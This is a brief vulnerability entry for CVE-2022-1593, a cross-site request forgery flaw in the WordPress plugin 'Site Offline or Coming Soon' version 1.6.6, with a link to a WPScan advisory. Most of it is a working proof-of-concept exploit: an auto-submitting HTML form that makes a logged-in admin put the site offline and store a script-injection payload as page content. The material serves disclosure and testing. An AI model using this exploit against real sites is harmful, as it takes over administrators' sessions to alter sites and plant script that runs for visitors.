CVE: CVE-2022-1593

Name: Site Offline or Coming Soon (site-is-offline-plugin)

Version: 1.6.6

Date: 2022-04-11 20:47:34

Advisory: https://wpscan.com/vulnerability/67678666-402b-4010-ac56-7067a0f40185

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=site-is-offline-plugin%2Fmain.php" method="POST">
    <input type="text" name="cp_siteoffline_enabled" value="true">
    <input type="text" name="cpso_save_settings" value="Änderungen speichern">
    <input type="text" name="cp_siteoffline_content" value="<img src=x onerror=alert(1)>">
</form>
<script>
    document.forms[0].submit();
</script>